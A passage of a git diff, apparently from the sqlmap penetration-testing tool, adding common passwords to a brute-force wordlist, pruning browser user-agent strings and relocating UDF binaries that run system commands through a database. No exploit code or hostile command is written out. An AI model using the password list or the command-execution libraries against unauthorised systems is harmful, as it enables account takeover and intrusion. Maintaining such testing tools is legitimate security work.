+somebody
something
+sondra
+sonia
sonic
sonics
sonny
sonrisa
sony
+sonya
sophia
sophie
+sossina
soto
sound
soyhermosa
@@ -3878,6 +4202,7 @@ sparks
sparky
Sparky
sparrow
+sparrows
spartan
spazz
speaker
@@ -3895,6 +4220,7 @@ spierson
spike
spike1
spirit
+spit
spitfire
spock
sponge
@@ -3903,6 +4229,7 @@ spoon
sports
spot
spring
+springer
sprite
sprocket
spunky
@@ -3910,6 +4237,7 @@ spurs
sql
sqlexec
squash
+squires
squirrel
squirt
srinivas
@@ -3917,6 +4245,9 @@ ssp
sss
ssssss
stacey
+staci
+stacie
+stacy
stalker
stan
standard
@@ -3970,7 +4301,9 @@ storage
storm
stormy
stranger
+strangle
strat
+stratford
strato
strat_passwd
strawberry
@@ -3985,7 +4318,9 @@ student2
studio
stumpy
stupid
+stuttgart
sublime
+subway
success
sucker
suckit
@@ -4018,10 +4353,12 @@ superman
Superman
superman1
supersecret
+superstage
superstar
superuser
supervisor
support
+supported
supra
surf
surfer
@@ -4030,13 +4367,17 @@ susan
susan1
susana
susanna
+susanne
+susie
sutton
suzanne
+suzie
suzuki
suzy
Sverige
svetlana
swanson
+swearer
sweden
sweet
sweetheart
@@ -4052,11 +4393,13 @@ swordfis
swordfish
swpro
swuser
+sybil
sydney
sylvester
sylvia
sylvie
symbol
+symmetry
sympa
sys
sysadm
@@ -4075,16 +4418,21 @@ tahiti
taiwan
talon
tamara
+tami
+tamie
tammy
tamtam
+tangerine
tango
tanner
tanya
tapani
+tape
tara
targas
target
tarheel
+tarragon
tarzan
tasha
tata
@@ -4116,6 +4464,7 @@ temp!
temp123
temporal
temporary
+temptation
temptemp
tenerife
tennis
@@ -4201,6 +4550,7 @@ tnt
tobias
toby
today
+toggle
tokyo
tom
tomato
@@ -4213,16 +4563,22 @@ tootsie
topcat
topgun
topher
+topography
tornado
toronto
+tortoise
toshiba
total
toto1
tototo
toucan
+toxic
toyota
trace
+traci
+tracie
tracy
+trails
training
transfer
transit
@@ -4245,8 +4601,10 @@ trigger
trinidad
trinity
trish
+trisha
tristan
triton
+trivial
trixie
trojan
trombone
@@ -4262,6 +4620,8 @@ trumpet
trustno1
tsdev
tsuser
+tty
+tubas
tucker
tucson
tuesday
@@ -4273,6 +4633,7 @@ turbo2
turkey
turner
turtle
+tuttle
tweety
tweety1
twilight
@@ -4285,9 +4646,11 @@ tyler1
ultimate
um_admin
um_client
+umesh
undead
undertaker
underworld
+unhappy
unicorn
unicornio
unique
@@ -4299,6 +4662,8 @@ universidad
unix
unknown
upsilon
+uranus
+urchin
ursula
user
user0
@@ -4312,9 +4677,11 @@ user7
user8
user9
Usuckballz1
+util
utility
utlestat
utopia
+uucp
vacation
vader
vagina
@@ -4331,6 +4698,7 @@ valley
vampire
vanessa
vanilla
+vasant
vea
vedder
vegeta
@@ -4345,6 +4713,7 @@ vermont
Vernon
veronica
vertex_login
+vertigo
vette
vfhbyf
vfrcbv
@@ -4361,6 +4730,7 @@ vif_dev_pwd
viking
vikings
vikram
+village
vincent
Vincent
vincent1
@@ -4376,6 +4746,7 @@ virus
viruser
visa
vision
+visitor
visual
vivian
vladimir
@@ -4397,6 +4768,7 @@ wally
walter
wanker
warcraft
+wargames
warlock
warner
warren
@@ -4418,10 +4790,12 @@ webread
webster
Webster
wedge
+weenie
weezer
welcome
welcome1
welcome123
+wendi
wendy
wendy1
werewolf
@@ -4433,12 +4807,15 @@ wfadmin
wh
whale1
whatever
+whatnot
wheels
whisky
whit
white
+whiting
whitney
whocares
+wholesale
whoville
wibble
wicked
@@ -4450,6 +4827,7 @@ will
william
william1
williams
+williamsburg
willie
willow
Willow
@@ -4470,6 +4848,7 @@ winona
winston
winter
wip
+wisconsin
wisdom
wizard
wkadmin
@@ -4494,13 +4873,16 @@ women
wonder
wood
Woodrow
+woodwind
woody
woofwoof
word
wordpass
+work
work123
world
World
+wormwood
worship
wps
wrangler
@@ -4512,18 +4894,21 @@ wsh
wsm
www
wwwuser
+wyoming
xademo
xanadu
xanth
xavier
xcountry
xdp
+xfer
xfiles
x-files
ximena
ximenita
xla
x-men
+xmodem
xnc
xni
xnm
@@ -4539,12 +4924,16 @@ xxxxxx
xxxxxxxx
xyz
xyz123
+xyzzy
y
+yaco
yamaha
+yang
yankee
yankees
yankees1
yellow
+yellowstone
yes
yeshua
yfnfif
@@ -4552,6 +4941,7 @@ yoda
yogibear
yolanda
yomama
+yosemite
yoteamo
young
your_pass
@@ -4561,6 +4951,7 @@ yvette
yvonne
zachary
zack
+zap
zapata
zapato
zaphod
@@ -4575,7 +4966,9 @@ zeus
zhongguo
ziggy
zigzag
+zimmerman
zirtaeb
+zmodem
zoltan
zombie
zoomer
diff --git a/txt/user-agents.txt b/data/txt/user-agents.txt
similarity index 99%
rename from txt/user-agents.txt
rename to data/txt/user-agents.txt
index 2e0b12bf76a..5b0adbc058b 100644
--- a/txt/user-agents.txt
+++ b/data/txt/user-agents.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Opera
@@ -285,7 +285,6 @@ Opera/9.20 (X11; Linux i686; U; es-es)
Opera/9.20 (X11; Linux i686; U; pl)
Opera/9.20 (X11; Linux i686; U; ru)
Opera/9.20 (X11; Linux i686; U; tr)
-Opera/9.20 (X11; Linux ppc; U; en)
Opera/9.20 (X11; Linux x86_64; U; en)
Opera/9.21 (Macintosh; Intel Mac OS X; U; en)
Opera/9.21 (Macintosh; PPC Mac OS X; U; en)
@@ -364,8 +363,8 @@ Opera/9.27 (Windows NT 5.1; U; ja)
Opera/9.27 (Windows NT 5.2; U; en)
Opera/9.27 (X11; Linux i686; U; en)
Opera/9.27 (X11; Linux i686; U; fr)
-Opera 9.4 (Windows NT 5.3; U; en)
-Opera 9.4 (Windows NT 6.1; U; en)
+Opera/9.4 (Windows NT 5.3; U; en)
+Opera/9.4 (Windows NT 6.1; U; en)
Opera/9.50 (Macintosh; Intel Mac OS X; U; de)
Opera/9.50 (Macintosh; Intel Mac OS X; U; en)
Opera/9.50 (Windows NT 5.1; U; es-ES)
@@ -375,7 +374,6 @@ Opera/9.50 (Windows NT 5.1; U; nn)
Opera/9.50 (Windows NT 5.1; U; ru)
Opera/9.50 (Windows NT 5.2; U; it)
Opera/9.50 (X11; Linux i686; U; es-ES)
-Opera/9.50 (X11; Linux ppc; U; en)
Opera/9.50 (X11; Linux x86_64; U; nb)
Opera/9.50 (X11; Linux x86_64; U; pl)
Opera/9.51 (Macintosh; Intel Mac OS X; U; en)
@@ -406,7 +404,6 @@ Opera/9.52 (Windows NT 6.0; U; Opera/9.52 (X11; Linux x86_64; U); en)
Opera/9.52 (X11; Linux i686; U; cs)
Opera/9.52 (X11; Linux i686; U; en)
Opera/9.52 (X11; Linux i686; U; fr)
-Opera/9.52 (X11; Linux ppc; U; de)
Opera/9.52 (X11; Linux x86_64; U)
Opera/9.52 (X11; Linux x86_64; U; en)
Opera/9.52 (X11; Linux x86_64; U; ru)
@@ -616,7 +613,6 @@ Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02
# Mozilla Firefox
-mozilla/3.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/5.0.1
Mozilla/4.0 (compatible; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8)
Mozilla/4.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/2010324480 Firefox/3.5.4
Mozilla/4.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko/2008398325 Firefox/3.1.4
@@ -1125,7 +1121,7 @@ Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9b5) Gecko/2008032620 Firefox/
Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11
Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.7.3) Gecko/20041001 Firefox/0.10.1
Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11
-Mozilla/5.0(Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6
+Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6
Mozilla/5.0 (Windows; U; Windows NT 5.2; sk; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15
Mozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9a1) Gecko/20060214 Firefox/1.6a1
Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.5) Gecko/Firefox/3.5.5
@@ -1355,7 +1351,7 @@ Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.14) Gecko/20110218 Fire
Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)
Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729)
-Mozilla/5.0(Windows; U; Windows NT 7.0; rv:1.9.2) Gecko/20100101 Firefox/3.6
+Mozilla/5.0 (Windows; U; Windows NT 7.0; rv:1.9.2) Gecko/20100101 Firefox/3.6
Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0
Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1
Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0
@@ -1385,7 +1381,6 @@ Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0
Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0
Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0
Mozilla/5.0 (X11; Linux i686; U; pl; rv:1.8.1) Gecko/20061208 Firefox/2.0.0
-Mozilla/5.0 (X11; Linux ppc; rv:5.0) Gecko/20100101 Firefox/5.0
Mozilla/5.0 (X11; Linux x86_64) Gecko Firefox/5.0
Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20110506 Firefox/4.0.1
Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4
@@ -2209,13 +2204,6 @@ Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04
Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7
Mozilla/5.0 (X11; U; Linux ia64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3
Mozilla/5.0 (X11; U; Linux MIPS32 1074Kf CPS QuadCore; en-US; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13
-Mozilla/5.0 (X11; U; Linux ppc64; en-US; rv:1.8.1.14) Gecko/20080418 Ubuntu/7.10 (gutsy) Firefox/2.0.0.14
-Mozilla/5.0 (X11; U; Linux ppc; da-DK; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)
-Mozilla/5.0 (X11; U; Linux ppc; en-GB; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12
-Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.7.12) Gecko/20051222 Firefox/1.0.7
-Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1)
-Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4
-Mozilla/5.0 (X11; U; Linux ppc; fr; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12
Mozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.1.17) Gecko/20081108 Firefox/2.0.0.17
Mozilla/5.0 (X11; U; Linux x64_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3
Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.04 (hardy) Firefox/3.0.4
@@ -2547,7 +2535,6 @@ Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.6) Gecko/20070819 Firefox/2.0
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.7) Gecko/20070930 Firefox/2.0.0.7
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.8) Gecko/20101230 Firefox/3.6.8
-Mozilla/5.0 (X11; U; OpenBSD ppc; en-US; rv:1.8.0.10) Gecko/20070223 Firefox/1.5.0.10
Mozilla/5.0 (X11; U; OpenBSD sparc64; en-AU; rv:1.8.1.6) Gecko/20071225 Firefox/2.0.0.6
Mozilla/5.0 (X11; U; OpenBSD sparc64; en-CA; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2
Mozilla/5.0 (X11; U; OpenBSD sparc64; en-US; rv:1.8.1.6) Gecko/20070816 Firefox/2.0.0.6
@@ -3452,16 +3439,6 @@ Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt)
Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0)
Mozilla/4.0 (compatible; MSIE 4.01; Windows CE)
Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC)
-Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; PPC)
-Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320)
-Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220)
-Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint;PPC-i830; PPC; 240x320)
-Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-i830; PPC; 240x320)
-Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i320; Smartphone; 176x220)
-Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240x320)
-Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i830; PPC; 240x320)
-Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip320; Smartphone; 176x220)
-Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip830w; PPC; 240x320)
Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)
Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)
Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)
@@ -3597,7 +3574,6 @@ Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1)
Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)
Mozilla/4.0 (MSIE 6.0; Windows NT 5.0)
Mozilla/4.0 (MSIE 6.0; Windows NT 5.1)
-Mozilla/4.0 PPC (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320)
Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0)
Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0)
Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
@@ -3605,8 +3581,6 @@ Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2)
Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)
Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Mozilla/4.0 (X11; MSIE 6.0; i686; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM)
-Mozilla/45.0 (compatible; MSIE 6.0; Windows NT 5.1)
-Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)
Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)
@@ -3809,7 +3783,6 @@ Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.18 (KHTM
Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1
Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; tr) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2
Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18
-Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 iPhone
Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 Safari/525.9
Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
@@ -4209,4 +4182,4 @@ Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Ge
Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5
Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+
-Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+
\ No newline at end of file
+Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+
diff --git a/txt/wordlist.zip b/data/txt/wordlist.tx_
similarity index 100%
rename from txt/wordlist.zip
rename to data/txt/wordlist.tx_
diff --git a/udf/README.txt b/data/udf/README.txt
similarity index 100%
rename from udf/README.txt
rename to data/udf/README.txt
diff --git a/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
similarity index 100%
rename from udf/mysql/linux/32/lib_mysqludf_sys.so_
rename to data/udf/mysql/linux/32/lib_mysqludf_sys.so_
diff --git a/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
similarity index 100%
rename from udf/mysql/linux/64/lib_mysqludf_sys.so_
rename to data/udf/mysql/linux/64/lib_mysqludf_sys.so_
diff --git a/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
similarity index 100%
rename from udf/mysql/windows/32/lib_mysqludf_sys.dll_
rename to data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
diff --git a/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
similarity index 100%
rename from udf/mysql/windows/64/lib_mysqludf_sys.dll_
rename to data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..fa2f0bf1c4e
Binary files /dev/null and b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..4053004c3af
Binary files /dev/null and b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ differ
diff --git a/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
diff --git a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..cdbff5fbbbc
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..654929d918c
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..121c6369c36
Binary files /dev/null and b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..9a972cc3fef
Binary files /dev/null and b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ differ
diff --git a/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
diff --git a/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
similarity index 100%
rename from udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
rename to data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
diff --git a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..9cc1df41bca
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..8dc29af5500
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ differ
diff --git a/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
similarity index 100%
rename from udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
rename to data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
diff --git a/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
similarity index 100%
rename from udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
rename to data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
diff --git a/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
similarity index 100%
rename from udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
rename to data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
diff --git a/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
similarity index 100%
rename from udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
rename to data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
diff --git a/xml/banner/generic.xml b/data/xml/banner/generic.xml
similarity index 100%
rename from xml/banner/generic.xml
rename to data/xml/banner/generic.xml
diff --git a/xml/banner/mssql.xml b/data/xml/banner/mssql.xml
similarity index 100%
rename from xml/banner/mssql.xml
rename to data/xml/banner/mssql.xml
diff --git a/xml/banner/mysql.xml b/data/xml/banner/mysql.xml
similarity index 79%
rename from xml/banner/mysql.xml
